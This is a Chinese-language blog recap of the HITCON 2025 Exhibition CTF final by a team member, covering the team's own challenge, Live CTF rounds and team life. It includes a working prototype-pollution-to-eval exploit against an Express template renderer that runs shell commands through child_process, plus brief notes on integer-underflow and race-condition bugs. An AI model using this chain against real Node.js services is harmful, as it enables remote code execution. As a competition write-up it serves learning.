HITCON 2025 Exhibition CTF 隨筆

Before all

rk.3/Team: ICEDTEA

今年跟以往一般的 FINAL 不太一樣,重新辦回國內惹,取預賽前四名 + AIS3 教育部那邊推兩隊,然後賽制改成 Belluminar(各隊伍互相出題互相打,要控制好難度一題難一題簡單) + Live CTF (eSports)

計分機制也不是單純的總分 而是 Belluminnar - Jeopardy, Belluminar 出題 + 報告, eSports 各三分之一

忍不住講一下,僅個人發言:這次 eSports 占分太重了我覺得,很容易讓整場變成 eSports 定生死但偏偏那就不是主要考技術的項目

先來點照片 XD,感謝這次一起打比賽的隊員們以及用心的主辦方(HITCON 耶拜託),玩得很開心 XDD

而且即便如此也不影響它絕對依然是全台最盛大的駭客賽事!

image

大合照

Initial Access

首先當然是先通過預賽緊接著三個台灣老隊伍拿到台灣第四進決賽,那場其實打得頗驚險因為賽前發現一堆平常隊上主力不是有事,就是先被拉去了隔壁大聯隊,包含我自己那兩天也被 YTP 和 CPTS 折磨得死去活來 lol。

但總之是通過了,於是我們就開始了隊內的報名機制,確定有誰是要打決賽的

image

欸,公開資訊表單忘了設計 list 怎麼辦
欸我隊上是一群 hacker 耶,設計一個 sqli 進去就好

image

當然咯,短暫的討論後我們決定以大部分中大型戰隊遇到大型/重要實體賽事時會採用的 現場 + 現場周圍遠端支援 + 線上遠端支援 的形式去進行比賽!

image

Let’s go~
修但,不是說好是打 Belluminar 嗎,題目咧?

Belluminar - Challenge prepare

放到這邊惹:
https://github.com/William957-web/My-CTF-Challenges/tree/main/hitcon_exhibition/2025

要玩可以去:https://daemonslayer.whale-tw.com/login

賽後分享的簡報:https://www.canva.com/design/DAG2DtLTAco/X7y52HLuG0qI8pitfO5Ngw/edit?utm_content=DAG2DtLTAco&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton

分享一下 intended 作法和題目內容~
簡言之就是一個抽卡網站,會先讓使用者註冊帳號後,上線就送 50 塊錢可以抽卡一次,另外就是架構是 Python Flask + SQLite
抽卡ㄉ機制是使用者端產生一個隨機向量跟矩陣去做乘法,基本上就是一個很脆弱的 VRF,有把 secret_array 和一個 pub_vector,公鑰是 pub_vector * secret_array 和 pub_array,最後 secret_array * input_vector = 結果
基本上就是利用 secret_array 對兩個向量乘法順序不改變最終值的特性來驗證,另外就是也有提供 secret_array,玩家玩到 secret_array 大小次數後自己能線性解出他

但這東西超脆弱,不論是輸入大向量直接 LLL 一把梭或者因為我數字夠小,有空間可以 [A, A^2, A^3] … 去做大數字 A 的 A 進制還原每個值都可以 LEAK SECRET_ARRAY。
拿 flag 要把 secret_array 第一排送過去當 input

但反正那時候我看隊友要出好噁心的 pwn 我就轉頭捏 easy 了,可以發現這個攻擊到拿 flag 只有抽卡一次一定不夠!
這題的第二個特性是 Python 與 SQLITE 的 lower 函數轉換表在我限制的 lower 出來是 ascii.printable 範圍內都還是有不一致,導致一個同名帳號可多次被註冊,錢錢就被多發了!
那是哪裡不一致了呢~?
ANS:

1
chr(8490).lower() == 'K'.lower() # 就是一般你認知的 k

但 SQLITE 對這個 8490 長得像 K 的字元 (Kelvin Sign) 並沒有特別的 LOWER 對照。

不過這題除了星爆吉娃娃的 @itiscaleb Web 第一步也是不一致,另外解出的三隊在 copilot 的幫助下都使用 SQLITE 對讀取和寫入 lock 的分離之 Race Condition 觸發了錢錢漏洞(嘆),小小 unintended。
啊至於 @curious 漏看了條件導致做了更難的 Crypto 題又是另一個故事了 乁( ˙ω˙ )厂

我隊友 ZK 的噁心檔案上傳 http server heap pwn 題又又又是另一個故事了 XD

好啦,至此,人、飯店、題目、infra (對的,我們隊上最不缺的就是 infra 感謝各位神人)都已經齊全了,真的可以 Let’s go!

Day 0

提早去飯店場布/最後 final check 題目
但我因為三四點就要 CHECKIN 但人幾乎都還沒到就跑去隔壁安麗美特玩了
當然 我們隊上另一種最不缺的東西就是宅宅,所以這幾天裡我們也去了好幾次安美 XDDD

https://raw.githubusercontent.com/William957-web/Daily/refs/heads/main/20251016_160529.jpg

測量自己的身高,用凜太郎的等身立牌

image

好啦拉回主題,第零天當然就是佈置 infra

主要是要打 tunnel 到會場讓場外組可以用 vpn 通到現場,直連題目

雖然但是 其實本來有這個環節是為了應對 A&D ,蠻可惜今年沒有的,不然又會是另一種風景w,詳細可以看我去年的 wp (link)

image

image

Day 0 其他…應該就沒什麼好講了 XD

Day 1

其實前一天晚上大家都忙活到好晚,反而是我算很早睡了不然隔天真的會沒力氣比賽 XD
早上起床後:
看向床下的方向:不對,為什麼那兩個人還在打電腦(p23, zk),結果最後發現他們倆還在重排我們交上去的 pwn 題的 exploit 的 FSOP ??
辛苦隊友了 orz …

於是我跟 Fishbaby 和 Kohiro 就先跑去買早餐惹,順便幫兩位大大帶,其他人就先睡覺

會場,每個 隊伍都有自己的一個小方桌和線材

image

然後就開始打比賽了,由於我們預測了兩隊推薦隊伍的題目應該比較簡單,我就把他們交給隊上線上組經驗沒那麼多的選手處理,我先去開了星爆的 Useless Template Renderer

Jeopardy

聽 @itiscaleb 說是某題 SECCON CTF 的加難版?
反正撇除我的怪題有點難評,這題確實是全場最難 web 題了

簡單說,給你一個 Prototype Pollution 和一個 free input,如果 input 字元不 match

1
code.match(/[a-zA-Z!@#$={};:'"`~,?\\_]/g)

就會進 eval 被執行

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const express = require('express');

const app = express();

app.use(express.urlencoded({ extended: true }))

function renderTemplate(template, context = {}) {
return template.replace(/{{(.*?)}}/g, (_, code) => {
code = code.trim()
if (code.match(/[a-zA-Z!@#$={};:'"`~,?\\_]/g)) {
return context[code] ?? "???"
} else {
try {
return eval(code);
} catch (e) {
console.log(e)
return "???"
}
}
});
}

const clone = (target, result = {}) => {
for (const [key, value] of Object.entries(target)) {
/* What is the point of number key? */
if (key.toString().match(/\d/)) continue
if (value && typeof value == "object") {
if (!(key in result)) result[key] = {};
clone(value, result[key]);
} else {
result[key] = value;
}
}
return result;
};

app.post("/render", (req, res) => {
let template = req.body.template ?? ""
let context = {}
if (req.body.context)
context = clone(JSON.parse(req.body.context))

res.send(renderTemplate(template, context))
})

app.get("/", (req, res) => {
res.sendFile("index.html", { root: __dirname })
})

app.listen(48763, () => {
console.log("servert started");
})

大概看著他想了一兩個小時左右,首先是 prototype pollution 不能直接 [__proto__] 蓋過去因為 js 裡面不會把 __proto__ method 算進去 Object.entries()__proto__ 內部的物件也是不可遍歷的,所以要改用 [consturctor][prototype] 的方法去蓋掉 prototype
再來是字元限制,printable 範圍內就是 [], (), {}, 0~9, +, -, . 這些,聽起來很 JSFuck 但不是因為 ! 被 ban 了

等等,剛剛有人說 printable 嗎,試一下會發現 \xff, \xfe, \xfd 其實都可以正常拿來當 js 變數的名稱,最後我的想法就是套用
從 array 取到 constructor,再讓以字串去定義新函數來呼叫的 Payload type 做事情

1
2
[]["filter"]["constructor"]
[]["filter"]["constructor"]("console.log(1)")()

也就是做一半的 JSFuck,再把需要的字串都換成剛剛前面奇奇怪怪的變數名稱,最後用 Prototype Pollution 蓋掉就好

Input:

1
{{[][ÿ][þ](ý)()}}

Payload:

1
2
3
4
5
6
7
8
9
{
"constructor":{
"prototype":{
"ÿ":"filter",
"þ":"constructor",
"ý":"return Function('return process.mainModule.constructor._load(\"child_process\")')().execSync('cat /flag*').toString()"
}
}
}

Live CTF (eSports)

Derby

首先是 Derby 這題,賽前看到這題目名稱的時候其實 @chilin 就有告訴我他覺得應該是 Android 題,然後就是一個賽馬娘遊戲
對的沒錯,但我們這些人才是馬娘 :>

詳細可以看:
https://youtu.be/ENOqzvAJ1y4?t=12874
拆開來做一下逆向工程會發現都是從 native 裡面挖函數,然後追進去看就是每搖一下都會拿當前 server 的 challenge 當 nonce 做 PoW,簡言之就是類似區塊練上,不過是人肉挖礦 …
可以自動化,但在我寫完腳本前 @ShallowFeather 就已經出動氪金版 copilot 打玩了,這局被星爆搶走w
image

Baby MAC

六隊一起上台,兩兩單挑打 mac baby pwn,不過因為我們現場四人都不是 MAC 用戶,緊急摳了飯店的隊友給我們開 REMOTE 連進去他的 MAC = =

然後本來被派上去的是我,開賽前主辦公布了這題是 pwn 然後問我們要不要換一下人,我很自然地下台換了 p23 上台,但裝置已經不能改了 qq
處理連線問題一陣子之後看起來 Everything is fine,就開始正式打題目了…嗎?
沒有,p23 用 terminal 在跟 Grissa 確認事情
https://youtu.be/hrKPKZACpAM?t=2200
聽說還有講一些更奇怪的話但我自己滑影片沒找到,或許好心人可以自己幫我 fallback 一下 XDDD
反正最後結果就是大家都 PWN 不下來除了 B33F 的 @pwn2ooown,所以跟他對打的 Blue Goblin 就被送下去了 qq

Tower Defense

直接附上直播畫面 簡言之就是一個類似貓戰的塔防遊戲,不過大家都是打對面的電腦
這當然換我上咯,web 題耶…嗎?
不,我一開始以為沒給 src 導致我在那邊分析流量打黑箱,一邊餵給 llm 幫我寫自動化腳本,結果有幾次還真的觸發到漏洞

image

https://youtu.be/hrKPKZACpAM?t=7094
結果就促成了大家不是在玩遊戲就是在看 src 的有趣場面,只有我一個在拆流量和看前端 js 去建立所有 api call 的表
後來看到 hint 說 game.rs 有漏洞我才驚覺不對勁去翻了一下 XDDD 看到 handout 就躺在那邊,不過那時候我分數依然是第一名有點酷
於是在看到是 rust 後…痾…不會 rust 的我馬上再餵給 llm 一次,他丟幾個 bug type 出來後我 review 了一下馬上就看到 interger underflow,改一下腳本針對 underflow 去攻擊就結束惹!

注意到 money 都是 u64,又有卡片的 discard cost 是負的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PlayerAction::DiscardCard(idx) => {
let slot = player_state.hand.get_mut(idx)?;
let Some(card) = slot else {
notifications.push(Notification {
message: format!("no card at index {}", idx),
});
return None;
};
if player_state.money < card.discard_cost {
notifications.push(Notification {
message: "not enough money".to_string(),
});
return None;
}
player_state.money -= card.discard_cost;
*slot = None;
None
}

反正那天結束後這場我們是冠軍,明天跟竹狐廝殺 = =

Day 1 ~ Day 2

那時候大概晚上九點的時候我上床躺了一下,大概十點半的時候突然被挖起來:
@chilin 和幾個人人 @lemontea @legendyang 之類的:欸鯨魚,算數學
我腦中閃過的 “LLL”, “奇奇怪怪的 Curve”, “Quantum”… 而且一定不基本不然隊上也有人 Crypto 不錯啊
結果只是 RSA ????,keysize 甚至 12 bits 而已
喔不但這個 RSA 我打到快 12 點才解開

講一下發生了什麼,Blue Goblin 有個題目一開始是一個 web,做完 sqli 後拿到一堆帳密然後就不知道幹嘛惹

image
大概過了快半天:

image

喔喔喔喔喔原來在 SRV 的 DNS Record ???

然後有個 SIP 協議,其實就是早期在 VoIP(網路電話) 還沒出來前的無限電話協議,打過去之後就開始聽一堆語音,反正最後大概就像是這樣,其中 sqli 出來的那個 4815 是分機號碼我真是謝了(其實又好合理?)

image

image

ok 反正就是語音告訴我有五個段落,第一個段落是公鑰
我就在想 蝦,公鑰三個數字??
好巧不巧,3233 + 2790 也是兩個質數相乘,我就在那邊通靈了一個小時

最後,聽到都對電話撥出聲音有 PTSD 的我發現 2790 是秘文 (3233, 17) 是 (n, e),傳解密後的數字用電話按鈕送回去就好 …
賽後互評我沒記錯的話我們這組給最低分的是這題,氣死

Day 2

轉眼間就來到 Day2,前一天上場的本來是我、chilin、zk、p23
到今天因為有兩個去金盾的就變成我、p23、Frank 了

這一天就比較沒特別做什麼事情,大概寫一下 Live CTF 發生了什麼好了

Live CTF (eSports)

這次一樣是塔防,我對的是竹狐的 @ianiiaannn,七戰四勝
然後昨天的漏洞被 patch 了 qq,前兩回合我們全程用手按著玩,我有掏出自動化腳本
但不論是哪一種我都被壓在地上虐,到底要怎麼在塔防遊戲打贏貓戰元老玩家
HITCON 就喊停了一下讓我們先 code review,後面三回合我(和我最棒的夥伴 - Claude)先找到了魔法卡在發動的時候的 Race Condition,腳本 gogo 然後就連壓了三局

Btw 那時候導播在講的時候就說:我們 ICEDTEA 的選手現在正 … 那 Race Condition 是一個 … 的漏洞
我:[打開 Note Pad,打下(類似的話) 哈囉導播,這樣是不是 leak 了選手資訊], (因為那時候他們就在我們旁邊講)

反正他們後來好像就換話題了
結果
結果…
@ianiiaannn 後來也看到了同一個漏洞,因為是一秒一秒算的其實 race window 有點大,他就直接給我手按喔
手按欸
用手按打贏了我這個寫腳本的選手
= =|||
這把輸在不會玩貓戰

賽後分享

各隊報告差不多就是那樣,然後請了 @orange @angelboy @lays 台灣三個 CTF 元老級之神當評審聽大家分享
然後一開始在介紹各隊伍的時候,簡報一頁一頁切
還直接漏看然後跳過 ICEDTEA,全場譁然,於是我弱弱的舉手 … 那個 … 好像跳過了
欸不是
不是欸!
真的沒有這樣的啦 = =|||
這次比賽出現的幾個(不算小的) Drama 之一 XD

After Party

吃吃喝喝 簡單帶過因為我有點不知道還有什麼要寫了 XD

After all

來點抽象,你永遠不知道隊友在你睡著後做了什麼怪事(簾子裡面是我)

image

喜歡隊伍上的歡快,很像是一個大家庭的氛圍 XDD
也很開心自己高中時隨手創立的隊伍能慢慢收留一些熱愛這個領域的學生,畢竟其實也跟蠻多人聊過,真的就是…很投入的情況下跟班上/身邊的人其實會慢慢找不到話題、脫節、不被理解,這時候真的會很需要一群同伴

繼續一起努力一起加油吧 <3

image